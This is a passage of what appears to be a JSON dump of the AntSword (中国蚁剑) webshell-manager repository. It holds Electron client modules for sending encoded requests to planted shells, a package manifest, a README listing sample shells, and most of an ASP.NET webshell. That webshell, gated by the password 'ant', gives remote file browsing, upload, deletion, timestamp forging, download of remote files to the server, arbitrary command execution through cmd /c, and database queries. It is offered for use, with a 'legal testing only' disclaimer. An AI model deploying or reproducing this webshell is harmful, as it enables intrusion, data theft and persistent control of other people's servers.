event.sender.send.bind(event.sender, 'menubar', 'tabbar-next')\n          }, {\n            label: LANG['window']['prev'], accelerator: 'Shift+CmdOrCtrl+Left',\n            click: event.sender.send.bind(event.sender, 'menubar', 'tabbar-prev')\n          }, {\n            type: 'separator'\n          }, {\n            label: LANG['window']['close'], accelerator: 'Shift+CmdOrCtrl+W',\n            click: event.sender.send.bind(event.sender, 'menubar', 'tabbar-close')\n          }\n        ]\n      }, {\n        // 调试\n        label: LANG['debug']['title'],\n        submenu: [\n          {\n            label: LANG['debug']['restart'],\n            accelerator: 'Shift+CmdOrCtrl+R',\n            click: () => {\n              // 在有多个窗口的时候，不刷新\n              if (this.electron.BrowserWindow.getAllWindows().length > 1) {\n                return;\n              }\n              this.mainWindow.webContents.reload();//.bind(this.mainWindow.webContents)\n            }\n          }, {\n            label: LANG['debug']['devtools'],\n            accelerator: 'Alt+CmdOrCtrl+J',\n            click: this.mainWindow.webContents.toggleDevTools.bind(this.mainWindow.webContents)\n          }\n        ]\n      }\n    ];\n    // 更新菜单栏\n    this.Menu.setApplicationMenu(this.Menu.buildFromTemplate(template));\n    if (this.trayIcon) {\n      this.trayIcon.setContextMenu(this.Menu.buildFromTemplate([]));  \n    }else{\n      let image;\n      if (process.platform === 'darwin' || process.platform === 'linux') {\n         image = this.nativeImage.createFromPath(this.path.join(__dirname, '../static/imgs/tray-icon-mac-2.png'));\n      }else{\n        // windows下的Tray图标\n        image = this.nativeImage.createFromPath(this.path.join(__dirname, '../static/imgs/tray-icon-win-colorful.ico'));\n      }\n      image.setTemplateImage(true);\n      this.trayIcon = new this.Tray(image);\n    }\n    var trayMenuTemplate = [\n      {\n        label: LANG['tray']['show'],\n        click: () => {\n          this.mainWindow.show();\n        }\n      }, {\n        label: LANG['tray']['hide'],\n        click: () => {\n          if (process.platform == 'darwin') {\n            this.app.hide();\n          }else{\n            this.mainWindow.hide();\n          }\n        }\n      }, {\n        label: LANG['tray']['settings'],\n        click: event.sender.send.bind(event.sender, 'menubar', 'settings')\n      }, {\n        label: LANG['tray']['about'],\n        click: event.sender.send.bind(event.sender, 'menubar', 'settings-about')\n      }, {\n        type: 'separator'\n      }, {\n        label: LANG['tray']['quit'],\n        click: this.app.quit.bind(this.app)\n      }\n    ];\n\n    this.trayIcon.on('click', () => {\n      if (process.platform == 'darwin') return;\n      if (this.mainWindow.isVisible()) {\n          this.mainWindow.hide();\n      }else{\n        this.mainWindow.show();\n      }\n    });\n\n    this.trayIcon.setToolTip(LANG['tray']['tip']);\n\n    this.trayIcon.setContextMenu(this.Menu.buildFromTemplate(trayMenuTemplate));\n\n  }\n\n}\n\nmodule.exports = Menubar;\n"
  },
  {
    "path": "antSword/modules/plugStore.js",
    "content": "/**\n * 应用商店后台模块\n * - 用于进行下载、安装、卸载等后台操作\n * create at: 2016/05/25\n */\n\nlet logger;\nconst fs = require('fs');\nconst path = require('path');\nconst CONF = require('./config');\nconst UNZIP = require('extract-zip');\n\nclass PlugStore {\n\n  constructor(electron, app, mainWindow) {\n    logger = new electron.Logger('PlugStore');\n    this.listenDownload(mainWindow);\n\n    electron.ipcMain\n      .on('store-uninstall', (event, plugName) => {\n        logger.warn('UnInstall', plugName);\n        // 删除目录\n        this.rmdir(\n          path.join(CONF.plugPath, `${plugName}-master`)\n        ).then((ret) => {\n          event.returnValue = ret;\n          // 重新加载插件列表\n          mainWindow.webContents.send('reloadPlug', true);\n        });\n      })\n      .on('store-uninstall-dev', (event, plugPath) => {\n        logger.warn('UnInstall.DEV', plugPath);\n        // 删除目录\n        this.rmdir(plugPath).then((ret) => {\n          event.returnValue = ret;\n          // 重新加载插件列表\n          mainWindow.webContents.send('reloadPlug', true);\n        });\n      })\n      // 获取插件路径\n      .on('store-config-plugPath', (event) => {\n        event.returnValue = CONF.plugPath;\n      })\n  }\n\n  /**\n   * 监听下载\n   * @param  {Object} mainWindow [description]\n   * @return {[type]}            [description]\n   */\n  listenDownload(mainWindow) {\n    mainWindow.webContents.session.on('will-download', (event, item, webContents) => {\n      let fileName = item.getFilename().replace(/\\-master\\.zip$/,'');\n      let downLink = item.getURL();\n      logger.info('down-store-plug', downLink);\n      // 判断是否下载为插件\n      if (downLink.indexOf('github.com/AntSword-Store') > 0) {\n        // 1. 设置插件存储目录\n        let savePath = path.join(CONF.tmpPath, `${fileName}.zip`);\n        item.setSavePath(savePath);\n        webContents.send('store-download-progress', {\n          file: fileName,\n          type: 'init',\n          total: item.getTotalBytes()\n        });\n        // 2. 插件下载进度更新\n        item.on('updated', () => {\n          webContents.send('store-download-progress', {\n            file: fileName,\n            type: 'downloading',\n            size: item.getReceivedBytes()\n          });\n        });\n        // 3. 插件下载完毕\n        item.on('done', (e, state) => {\n          webContents.send('store-download-progress', {\n            file: fileName,\n            path: savePath,\n            type: 'downloaded',\n            state: state\n          });\n          if (state !== 'completed') { return };\n          // 解压安装插件\n          UNZIP(savePath, {\n            dir: CONF.plugPath\n          }, (err) => {\n            webContents.send('store-download-progress', {\n              type: 'installed',\n              file: fileName\n            });\n            logger.info('Installed', fileName);\n            // 重新加载插件列表\n            mainWindow.webContents.send('reloadPlug', true);\n          });\n        });\n      }\n    });\n  }\n\n  /**\n   * 删除目录\n   * @param  {String} dir 目录\n   * @return {[type]}     [description]\n   */\n  rmdir(dir) {\n    return new Promise((res, rej) => {\n      let ret = true;\n      // 循环删除目录\n      const _rmdir = (_dir) => {\n        if (!fs.existsSync(_dir)) { return }\n        fs.readdirSync(_dir).map((_) => {\n          // 生成完整路径\n          let _path = path.join(dir, _);\n          // 如果是目录，则继续循环，否则删除\n          if (fs.lstatSync(_path).isDirectory()) {\n            return this.rmdir(_path);\n          }\n          fs.unlinkSync(_path);\n        });\n        fs.rmdirSync(_dir);\n      }\n      try{\n        _rmdir(dir);\n      } catch (e) {\n        ret = e;\n      }\n      return res(ret);\n    });\n  }\n}\n\nmodule.exports = PlugStore;\n"
  },
  {
    "path": "antSword/modules/request.js",
    "content": "/**\n * HTTP后端数据发送处理函数\n * 更新: 2016/05/07\n */\n\n'use strict';\n\nconst fs = require('fs'),\n  iconv = require('iconv-lite'),\n  through = require('through'),\n  superagent = require('superagent'),\n  superagentProxy = require('superagent-proxy');\n\nlet logger;\n// 请求UA\nconst USER_AGENT = 'antSword/v2.0';\n\n// 请求超时\nconst REQ_TIMEOUT = 10000;\n\n// 代理配置\nconst APROXY_CONF = {\n  mode: 'noproxy',\n  uri: ''\n}\n\nclass Request {\n\n  constructor(electron) {\n    logger = new electron.Logger('Request');\n    const ipcMain = electron.ipcMain;\n\n    ipcMain.on('aproxy', this.onAproxy.bind(this));\n    ipcMain.on('aproxytest', this.onAproxyTest.bind(this));\n    ipcMain.on('request', this.onRequest.bind(this));\n    ipcMain.on('download', this.onDownlaod.bind(this));\n  }\n\n\n  /**\n   * 加载代理配置\n   * @param  {Object} event ipcMain事件\n   * @param  {Object} opts  代理配置\n   * @return {[type]}       [description]\n   */\n  onAproxy(event, opts) {\n    logger.debug(\n      'aProxy::Set Proxy Mode -',\n      APROXY_CONF['mode'] === 'manualproxy' ? APROXY_CONF['uri'] : 'noproxy'\n    );\n\n    APROXY_CONF['mode'] = opts['aproxymode'];\n    APROXY_CONF['uri'] = opts['aproxyuri'];\n\n    if (APROXY_CONF['mode'] === 'noproxy') {\n      return superagent.Request.prototype.proxy = function() { return this };\n    }\n    superagentProxy(superagent);\n  }\n\n  /**\n   * 监听代理连接测试\n   * @param  {Object} event ipcMain事件\n   * @param  {Object} opts  测试配置\n   * @return {[type]}       [description]\n   */\n  onAproxyTest(event, opts) {\n    logger.debug('aProxy::Test Proxy -', opts['aproxyuri'], '- Connect to ', opts['url']);\n    superagentProxy(superagent);\n    superagent\n      .get(opts['url'])\n      .set('User-Agent', USER_AGENT)\n      .proxy(opts['aproxyuri'])\n      .timeout(REQ_TIMEOUT)\n      .end((err, ret) => {\n        if (err) {\n          logger.fatal(\"aProxy::Test Error\", err);\n          return event.sender.send('aproxytest-error-' + opts['hash'], err);\n        }else{\n          logger.info(\"aProxy::Test Success\");\n          return event.sender.send('aproxytest-success-' + opts['hash'], ret);\n        }\n      });\n  }\n\n\n  /**\n   * 监听HTTP请求\n   * @param  {Object} event ipcMain事件对象\n   * @param  {Object} opts  请求配置\n   * @return {[type]}       [description]\n   */\n  onRequest(event, opts) {\n    logger.debug('onRequest::opts', opts);\n\n    const _request = superagent.post(opts['url']);\n    // 设置headers\n    _request.set('User-Agent', USER_AGENT);\n    // 自定义headers\n    for (let _ in opts.headers) {\n      _request.set(_, opts.headers[_]);\n    }\n    // 自定义body\n    const _postData = Object.assign({}, opts.body, opts.data);\n    _request\n      .proxy(APROXY_CONF['uri'])\n      .type('form')\n      // 超时\n      .timeout(opts.timeout || REQ_TIMEOUT)\n      // 忽略HTTPS\n      .ignoreHTTPS(opts['ignoreHTTPS'])\n      .send(_postData)\n      .parse((res, callback) => {\n        this.parse(opts['tag_s'], opts['tag_e'], (chunk) => {\n          event.sender.send('request-chunk-' + opts['hash'], chunk);\n        }, res, callback);\n      })\n      .end((err, ret) => {\n        if (err) {\n          return event.sender.send('request-error-' + opts['hash'], err);\n        };\n        let buff = ret.body;\n        // 解码\n        let text = iconv.decode(buff, opts['encode']);\n        // 回调数据\n        event.sender.send('request-' + opts['hash'], {\n          text: text,\n          buff: buff\n        });\n      });\n  }\n\n  /**\n   * 监听下载请求\n   * @param  {Object} event ipcMain事件对象\n   * @param  {Object} opts  下载配置\n   * @return {[type]}       [description]\n   */\n  onDownlaod(event, opts) {\n    logger.debug('onDownlaod', opts);\n\n    // 创建文件流\n    const rs = fs.createWriteStream(opts['path']);\n\n    let indexStart = -1;\n    let indexEnd = -1;\n    let tempData = [];\n\n    const _request = superagent.post(opts['url']);\n    // 设置headers\n    _request.set('User-Agent', USER_AGENT);\n    // 自定义headers\n    for (let _ in opts.headers) {\n      _request.set(_, opts.headers[_]);\n    }\n    // 自定义body\n    const _postData = Object.assign({}, opts.body, opts.data);\n    _request\n      .proxy(APROXY_CONF['uri'])\n      .type('form')\n      // 设置超时会导致文件过大时写入出错\n      // .timeout(timeout)\n      // 忽略HTTPS\n      .ignoreHTTPS(opts['ignoreHTTPS'])\n      .send(_postData)\n      .pipe(through(\n        (chunk) => {\n          // 判断数据流中是否包含后截断符？长度++\n          let temp = chunk.indexOf(opts['tag_e']);\n          if (temp !== -1) {\n            indexEnd = Buffer.concat(tempData).length + temp;\n          };\n          tempData.push(chunk);\n          event.sender.send('download-progress-' + opts['hash'], chunk.length);\n        },\n        () => {\n          let tempDataBuffer = Buffer.concat(tempData);\n\n          indexStart = tempDataBuffer.indexOf(opts['tag_s']) || 0;\n          // 截取最后的数据\n          let finalData = new Buffer(tempDataBuffer.slice(\n            indexStart + opts['tag_s'].length,\n            indexEnd\n          ), 'binary');\n          // 写入文件流&&关闭\n          rs.write(finalData);\n          rs.close();\n          event.sender.send('download-' + opts['hash'], finalData.length);\n          // 删除内存数据\n          finalData = tempDataBuffer = tempData = null;\n        }\n      ));\n  }\n\n  /**\n   * 二进制数据流解析\n   * @param  {String}   tag_s         数据截断符号(前)\n   * @param  {String}   tag_e         数据截断符号(后)\n   * @param  {Function}   chunkCallBack 数据流回调函数\n   * @param  {Object}   res           Superagent::res对象\n   * @param  {Function} callback      数据获取完毕回调事件\n   * @return {[type]}                 [description]\n   */\n  parse(tag_s, tag_e, chunkCallBack, res, callback) {\n    // 数据转换二进制处理\n    res.setEncoding('binary');\n    res.data = '';\n    // 2. 把分隔符转换为16进制\n    const tagHexS = new Buffer(tag_s).toString('hex');\n    const tagHexE = new Buffer(tag_e).toString('hex');\n\n    let foundTagS = false;\n    let foundTagE = false;\n    res.on('data', (chunk) => {\n\n      // 这样吧，我们尝试一种新的数据截取算法：\n      // 1. 把数据流转换为16进制\n      let chunkHex = new Buffer(chunk).toString('hex');\n      // 3. 根据分隔符进行判断截断数据流\n      let temp = '';\n      // 如果包含前后截断，则截取中间\n      if (chunkHex.indexOf(tagHexS) >= 0 && chunkHex.lastIndexOf(tagHexE) >= 0) {\n        let index_s = chunkHex.indexOf(tagHexS);\n        let index_e = chunkHex.lastIndexOf(tagHexE);\n        temp = chunkHex.substr(index_s + tagHexS.length, index_e - index_s - tagHexE.length);\n        foundTagS = foundTagE = true;\n      }\n      // 如果只包含前截断，则截取后边\n      else if (chunkHex.indexOf(tagHexS) >= 0 && chunkHex.lastIndexOf(tagHexE) === -1) {\n        temp = chunkHex.split(tagHexS)[1];\n        foundTagS = true;\n      }\n      // 如果只包含后截断，则截取前边\n      else if (chunkHex.indexOf(tagHexS) === -1 && chunkHex.lastIndexOf(tagHexE) >= 0) {\n        temp = chunkHex.split(tagHexE)[0];\n        foundTagE = true;\n      }\n      // 如果有没有，那就是中途迷路的数据啦 ^.^\n      else if (foundTagS && !foundTagE) {\n        temp = chunkHex;\n      }\n      // 4. 十六进制还原为二进制\n      let finalData = new Buffer(temp, 'hex');\n      // 5. 返回还原好的数据\n      chunkCallBack(finalData);\n\n      res.data += finalData;\n    });\n    res.on('end', () => {\n      logger.info(`end.size=${res.data.length}`, res.data);\n      callback(null, new Buffer(res.data, 'binary'));\n    });\n  }\n\n}\n\nmodule.exports = Request;\n"
  },
  {
    "path": "antSword/modules/update.js",
    "content": "/**\n * 中国蚁剑::更新程序\n * 开写: 2016/05/31\n * 更新: 2016/06/19\n * 说明: 从2.0.0起，取消在线更新程序的方式，改为程序启动一分钟后，检测github->release最新的版本更新信息，然后提示手动更新\n */\n\nconst config = require('./config');\nconst superagent = require('superagent');\nconst fs = require(\"fs\");\nconst path = require('path');\nconst through = require(\"through\");\nconst tar = require('tar');\n\nclass Update {\n  constructor(electron) {\n    this.logger = new electron.Logger('Update');\n    electron.ipcMain\n    .on('check-update', this.checkUpdate.bind(this))\n    .on('update-download', this.onDownlaod.bind(this));\n  }\n\n  /**\n   * 检查更新\n   * 如果有更新，则以通知的方式提示用户手动更新，用户点击跳转到更新页面\n   * @return {[type]} [description]\n   */\n  checkUpdate(event) {\n    this.logger.debug('checkUpdate..');\n    superagent\n      .get('https://api.github.com/repos/antoor/antSword/releases/latest')\n      .end((err, ret) => {\n        try {\n          let lastInfo = JSON.parse(ret.text);\n          let newVersion = lastInfo['tag_name'];\n          let curVersion = config['package'].version;\n          // 比对版本\n          if (this.CompVersion(curVersion, newVersion)) {\n            this.logger.info('Found a new version', newVersion);\n            event.sender.send('notification-update', {\n              ver: newVersion,\n              url: lastInfo['html_url']\n            });\n          } else {\n            this.logger.warn('No new version.', newVersion, curVersion);\n          }\n        } catch(e) {\n          this.logger.fatal('ERR', e);\n        }\n      });\n  }\n\n  /**\n   * 版本比对\n   * @param {String} curVer 当前版本\n   * @param {String} newVer 新的版本\n   * @return {Boolean}\n   */\n  CompVersion(curVer, newVer) {\n    // 如果版本相同\n    if (curVer === newVer) { return false }\n    let currVerArr = curVer.split(\".\");\n    let promoteVerArr = newVer.split(\".\");\n    let len = Math.max(currVerArr.length, promoteVerArr.length);\n    for (let i = 0; i < len; i++) {\n        let proVal = ~~promoteVerArr[i],\n            curVal = ~~currVerArr[i];\n        if (proVal < curVal) {\n            return false;\n        } else if (proVal > curVal) {\n            return true;\n        }\n    }\n    return false;\n  }\n\n  /**\n   * 监听下载请求\n   * @param  {Object} event ipcMain事件对象\n   * @param  {Object} opts  下载配置\n   * @return {[type]}       [description]\n   */\n  onDownlaod(event, opt) {\n    const hash = opt['hash'];\n    if (!hash) {\n      return\n    }\n    let that = this;\n\n    let savePath = path.join(config.tmpPath, \"antsword.tar.gz\");\n\n    let tempData = [];\n    let totalsize = 0;\n    let downsize = 0;\n    let url=\"https://github.com/AntSwordProject/AntSword/archive/master.tar.gz\";\n    superagent.head(url)\n    .set('User-Agent', \"antSword/v2.0\")\n    .redirects(5)\n    .timeout(30000)\n    .end((err, res)=>{\n      if(err){\n        event.sender.send(`update-error-${hash}`, err);\n      }else{\n        totalsize = parseInt(res.header['content-length']);\n        superagent\n        .get(url)\n        .set('User-Agent', \"antSword/v2.0\")\n        .redirects(5)\n        // .proxy(APROXY_CONF['uri'])\n        // 设置超时会导致文件过大时写入出错\n        // .timeout(timeout)\n        .pipe(through(\n          (chunk) => {\n            downsize += chunk.length;\n            var progress = parseInt(downsize/totalsize*100);\n            tempData.push(chunk);\n            event.sender.send(`update-dlprogress-${hash}`, progress);\n          },\n          () => {\n            that.logger.debug(\"Download end.\");\n            let tempDataBuffer = Buffer.concat(tempData);\n\n            if (downsize != totalsize) {\n              event.sender.send(`update-error-${hash}`, \"Download Error.\");\n              return\n            }\n            event.sender.send(`update-dlend-${hash}`, tempDataBuffer.length);\n            // 同步写入文件\n            fs.writeFileSync(savePath, tempDataBuffer);\n            // 删除内存数据\n            tempDataBuffer = tempData = null;\n\n            // TODO: 需不需要备份?\n            // TODO: 删除原来的 node_modules 目录\n            // 解压数据\n            tar.x({\n              file: savePath,\n              strip: 1,\n              C: process.env.AS_WORKDIR,\n            }).then(_=>{\n              that.logger.info(\"update success.\");\n              event.sender.send(`update-success`);\n              fs.unlink(savePath);\n            }, err=>{\n              event.sender.send(`update-error-${hash}`, err);\n              fs.unlink(savePath);\n            });\n          }\n        ));\n      }\n    });\n  }\n}\n\nmodule.exports = Update;\n"
  },
  {
    "path": "antSword/package.json",
    "content": "{\n  \"name\": \"antsword\",\n  \"version\": \"2.0.0\",\n  \"description\": \"中国蚁剑是一款跨平台的开源网站管理工具\",\n  \"main\": \"app.js\",\n  \"dependencies\": {\n    \"extract-zip\": \"^1.6.7\",\n    \"geoips\": \"0.0.1\",\n    \"iconv-lite\": \"^0.4.23\",\n    \"nedb\": \"^1.5.1\",\n    \"superagent\": \"^3.8.3\",\n    \"superagent-proxy\": \"^1.0.3\",\n    \"tar\": \"^4.4.6\",\n    \"through\": \"^2.3.8\"\n  },\n  \"scripts\": {\n    \"start\": \"electron app.js\",\n    \"build\": \"npm start\"\n  },\n  \"author\": \"antoor <u@uyu.us>\",\n  \"license\": \"MIT\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/AntSwordProject/AntSword\"\n  },\n  \"update\": {\n    \"md5\": \"184c9217b01513647ccfaad49e795cfe\",\n    \"logs\": \"移除webpack以及其他不必要的依赖，直接无需编译即可执行ES6代码\\n更新美化关于页面\\n重构modules/request.js后端数据请求模块\\n添加 aspx hex encoder 支持\\n修正custom shell 读取自身时数据被截断的 bug\\n增加php中的mysql数据库模板，用于不支持使用mysqli的服务器\\n以及其他小部分的代码重构优化\",\n    \"sources\": {\n      \"coding.net\": \"https://coding.net/api/share/download/c405db5d-6fdb-4078-9326-32cd86c392a3\",\n      \"github\": \"https://github.com/antoor/antSword/releases/download/1.3.0/update.zip\"\n    }\n  },\n  \"bugs\": {\n    \"url\": \"https://github.com/AntSwordProject/AntSword/issues\"\n  },\n  \"homepage\": \"https://github.com/AntSwordProject/AntSword/\"\n}\n"
  },
  {
    "path": "antSword/shells/README.md",
    "content": "## Shell-Scripts\n> 此目录用于存放一些示例的服务端脚本文件，仅供合法的渗透测试以及爱好者参考学习，请勿用于非法用途，否则将追究其相关责任！\n\n### ASP\n\n1. [Asp_Eval_xxxx_Script](./asp_eval_xxxx_script.asp)\n\n### ASP.Net\n\n> .aspx .ashx\n\n1. [ASP.Net Custom Script for ODBC](./asp.net_custom_script_for_odbc.aspx)\n2. [ASP.Net eval Script](./asp.net_eval_script.aspx)\n\n### PHP\n\n1. [PHP Custom Script for Mysql](./php_custom_script_for_mysql.php)\n2. [PHP Create_Function Script](./php_create_function_script.php)\n3. [PHP Assert Script](./php_assert_script.php)\n\n### JSP\n\n1. [JSP Custom Script for Mysql](./jsp_custom_script_for_mysql.jsp)\n2. [JSPX Custom Script for Mysql](./jspx_custom_script_for_mysql.jspx)\n"
  },
  {
    "path": "antSword/shells/asp.net_custom_script_for_odbc.aspx",
    "content": "<%--\n/**\n*              _   ____                       _\n*   __ _ _ __ | |_/ ___|_      _____  _ __ __| |\n*  / _` | '_ \\| __\\___ \\ \\ /\\ / / _ \\| '__/ _` |\n* | (_| | | | | |_ ___) \\ V  V / (_) | | | (_| |\n*  \\__,_|_| |_|\\__|____/ \\_/\\_/ \\___/|_|  \\__,_|\n* ———————————————————————————————————————————————\n*     AntSword ASP.Net Custom Script for ODBC\n* \n*     警告：\n*         此脚本仅供合法的渗透测试以及爱好者参考学习\n*          请勿用于非法用途，否则将追究其相关责任！\n* ———————————————————————————————————————————————\n*\n* 使用说明：\n*  1. AntSword >= v1.1-dev\n*  2. 创建 Shell 时选择 custom 模式连接\n*  3. 数据库连接使用 ODBC 连接字符串：\n*     可以通过 ASPX 类型 Shell 查看部分连接字符串，具体参见 MSDN 官方文档：https://msdn.microsoft.com/zh-cn/library/system.data.odbc.odbcconnection.connectionstring(v=vs.80).aspx\n*     例如：\n*     (1) MySQL\n*         Driver={MySql ODBC 5.2 Unicode Driver};Server=localhost;database=information_schema;UID=root;PWD=root;\n*     (2) SQLServer\n*         Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=sa;\n*\n*  4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致，如果选择 default 则需要将 encoder 值设置为空\n*\n*  5. 文件后缀可为 .aspx .ashx 只要是 ASP.Net 解析的文件后缀都是可以的。\n*\n* ChangeLog:\n*\n*   Date: 2016/08/24 v1.0\n*    1. 文件系统 和 terminal 管理\n*    2. ODBC 数据库支持\n*    3. 支持 base64 和 hex 编码\n**/\n--%>\n<%@ WebHandler Language=\"C#\" Class=\"Handler\" %>\n\nusing System;\nusing System.Web;\nusing System.IO;\nusing System.Net;\nusing System.Text;\nusing System.Data;\nusing System.Data.SqlClient;\nusing System.Diagnostics;\n\npublic class Handler : IHttpHandler {\n    public String pwd = \"ant\";\n    public String cs = \"UTF-8\";\n    public String encoder = \"\";\n    public void ProcessRequest(HttpContext context){\n        String Z = context.Request.Form[pwd];\n        if (Z != \"\") {\n            String Z0 = decode(context.Request.Form[\"z0\"]);\n            String Z1 = decode(context.Request.Form[\"z1\"]);\n            String Z2 = decode(context.Request.Form[\"z2\"]);\n            String Z3 = decode(context.Request.Form[\"z3\"]);\n            String R = \"\";\n            try{\n                switch (Z) {\n                    case \"A\": {\n                        String[] c = Directory.GetLogicalDrives();\n                        R = String.Format(\"{0}\\t\", context.Server.MapPath(\"/\"));\n                        for (int i = 0; i < c.Length; i++)\n                            R += c[i][0] + \":\";\n                        break;\n                    }\n                    case \"B\": {\n                        DirectoryInfo m = new DirectoryInfo(Z1);\n                        foreach (DirectoryInfo D in m.GetDirectories()){\n                            R += String.Format(\"{0}/\\t{1}\\t0\\t-\\n\", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString(\"yyyy-MM-dd hh:mm:ss\"));\n                        }\n                        foreach (FileInfo D in m.GetFiles()){\n                            R += String.Format(\"{0}\\t{1}\\t{2}\\t-\\n\", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString(\"yyyy-MM-dd hh:mm:ss\"), D.Length);\n                        }\n                        break;\n                    }\n                    case \"C\": {\n                        StreamReader m = new StreamReader(Z1, Encoding.GetEncoding(cs));\n                        R = m.ReadToEnd();\n                        m.Close();\n                        break;\n                    }\n                    case \"D\": {\n                        StreamWriter m = new StreamWriter(Z1, false, Encoding.GetEncoding(cs));\n                        m.Write(Z2);\n                        R = \"1\";\n                        m.Close();\n                        break;\n                    }\n                    case \"E\": {\n                        if (Directory.Exists(Z1)){\n                            Directory.Delete(Z1, true);\n                        }else{\n                            File.Delete(Z1);\n                        }\n                        R = \"1\";\n                        break;\n                    }\n                    case \"F\": {\n                        context.Response.Clear();\n                        context.Response.Write(\"\\x2D\\x3E\\x7C\");\n                        context.Response.WriteFile(Z1);\n                        context.Response.Write(\"\\x7C\\x3C\\x2D\");\n                        goto End;\n                    }\n                    case \"U\": {\n                        String P = Z1;\n                        byte [] B = new Byte[Z2.Length/2];\n                        for(int i=0; i < Z2.Length; i+=2){\n                            B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);\n                        }\n                        FileStream fs = new FileStream(Z1, FileMode.Create);\n                        fs.Write(B, 0, B.Length);\n                        fs.Close();\n                        R = \"1\";\n                        break;\n                    }\n                    case \"H\": {\n                        CP(Z1, Z2, context);\n                        R = \"1\";\n                        break;\n                    }\n                    case \"I\": {\n                        if (Directory.Exists(Z1)){\n                            Directory.Move(Z1, Z2);\n                        }else{\n                            File.Move(Z1, Z2);\n                        }\n                        R = \"1\";\n                        break;\n                    }\n                    case \"J\": {\n                        Directory.CreateDirectory(Z1);\n                        R = \"1\";\n                        break;\n                    }\n                    case \"K\": {\n                        DateTime TM = Convert.ToDateTime(Z2);\n                        if (Directory.Exists(Z1)){\n                            Directory.SetCreationTime(Z1, TM);\n                            Directory.SetLastWriteTime(Z1, TM);\n                            Directory.SetLastAccessTime(Z1, TM);\n                        }else{\n                            File.SetCreationTime(Z1, TM);\n                            File.SetLastWriteTime(Z1, TM);\n                            File.SetLastAccessTime(Z1, TM);\n                        }\n                        R = \"1\";\n                        break;\n                    }\n                    case \"L\": {\n                        HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1));\n                        RQ.Method = \"GET\";\n                        RQ.ContentType = \"application/x-www-form-urlencoded\";\n                        HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse();\n                        Stream WF = WB.GetResponseStream();\n                        FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write);\n                        int i;\n                        byte[] buffer = new byte[1024];\n                        while (true){\n                            i = WF.Read(buffer, 0, buffer.Length);\n                            if (i < 1){\n                                break;\n                            }\n                            FS.Write(buffer, 0, i);\n                        }\n                        WF.Close();\n                        WB.Close();\n                        FS.Close();\n                        R = \"1\";\n                        break;\n                    }\n                    case \"M\": {\n                        ProcessStartInfo c = new ProcessStartInfo(Z1);\n                        Process e = new Process();\n                        StreamReader OT, ER;\n                        c.UseShellExecute = false;\n                        c.RedirectStandardInput = true;\n                        c.RedirectStandardOutput = true;\n                        c.RedirectStandardError = true;\n                        c.CreateNoWindow = true;\n                        e.StartInfo = c;\n                        c.Arguments = \"/c \" + Z2;\n                        e.Start();\n                        OT = e.StandardOutput;\n                        ER = e.StandardError;\n                        e.Close();\n                        R = OT.ReadToEnd() + ER.ReadToEnd();\n                        break;\n                    }\n                    case \"N\": {\n                        System.Data.DataSet ds = new System.Data.DataSet();\n                        String strCon = Z1;\n                        string sql = \"show databases\";\n                        using (System.Data.Odbc.OdbcDataAdapter dataAdapter = new System.Data.Odbc.OdbcDataAdapter(sql, strCon)){\n                            dataAdapter.Fill(ds);\n                            R = parseDataset(ds, \"\\t\", \"\\t\", false);\n                        }\n                        break;\n                    }\n                    case \"O\": {\n                        String strCon = Z1, strDb = Z2;\n                        System.Data.DataSet ds = new System.Data.DataSet();\n                        string sql = \"show tables from \" + strDb;\n                        using (System.Data.Odbc.OdbcDataAdapter dataAdapter = new System.Data.Odbc.OdbcDataAdapter(sql, strCon)){\n                            dataAdapter.Fill(ds);\n                            R = parseDataset(ds, \"\\t\", \"\\t\", false);\n                        }\n                        break;\n                    }\n                    case \"P\": {\n                        String strCon = Z1, strDb = Z2, strTable = Z3;\n                        System.Data.DataSet ds = new System.Data.DataSet();\n                        string sql = \"select * from \"+strDb+\".\"+strTable+\" limit 0,0\";\n                        using (System.Data.Odbc.OdbcDataAdapter dataAdapter = new System.Data.Odbc.OdbcDataAdapter(sql, strCon)){\n                            dataAdapter.Fill(ds);\n                            R = parseDataset(ds, \"\\t\", \"\", true);\n                        }\n                        break;\n                    }\n                    case \"Q\":{\n                        String strCon = Z1, sql = Z2;               \n                        System.Data.DataSet ds = new System.Data.DataSet();\n                        using (System.Data.Odbc.OdbcDataAdapter dataAdapter = new System.Data.Odbc.OdbcDataAdapter(sql, strCon)){\n                            dataAdapter.Fill(ds);\n                            R = parseDataset(ds, \"\\t|\\t\", \"\\r\\n\", true);\n                        }\n                        break;\n                    }\n                    default: goto End;\n                }\n            }catch(Exception E){\n                R = \"ERROR:// \"+E.Message.ToString();\n            }\n            context.Response.Write(\"\\x2D\\x3E\\x7C\"+R+\"\\x7C\\x3C\\x2D\");\n            End:;\n        }\n    }\n    \n    public bool IsReusable{\n        get {\n            return false;\n        }\n    }\n\n    public void CP(String S,String D,HttpContext context){\n        if(Directory.Exists(S)){\n            DirectoryInfo m=new DirectoryInfo(S);\n            Directory.CreateDirectory(D);\n            foreach(FileInfo F in m.GetFiles()){\n                File.Copy(S+\"\\\\\"+F.Name,D+\"\\\\\"+F.Name);\n            }\n            foreach(DirectoryInfo F in m.GetDirectories()){\n                CP(S + \"\\\\\" + F.Name, D + \"\\\\\" + F.Name, context);\n            }\n        }else{\n            File.Copy(S,D);\n        }\n    }\n    public String HexAsciiConvert(String hex) {\n        StringBuilder sb = new StringBuilder();\n        int i;\n        for(i=0; i< hex.Length; i+=2){\n            sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Globalization.NumberStyles.HexNumber))));\n        }\n        return sb.ToString();\n    }\n\n    public String decode(String src){\n        String ret;\n        try{\n\n            switch (encoder) {\n                case \"base64\": {\n                    ret = System.Text.Encoding.GetEncoding(cs).GetString(System.Convert.FromBase64String(src));\n                    break;\n                }\n                case \"hex\": {\n                    ret = HexAsciiConvert(src);\n                    break;\n                }\n                default:{\n                    ret = src;\n                    break;\n                }\n            }\n        }catch(Exception E){\n            ret = src;\n        }\n        return ret;\n    }\n    \n    public string parseDataset(DataSet ds, String columnsep, String rowsep, bool needcoluname){\n        if (ds == null || ds.Tables.Count <= 0){\n            return \"Status\" + columnsep + rowsep + \"True\" + columnsep + rowsep;\n    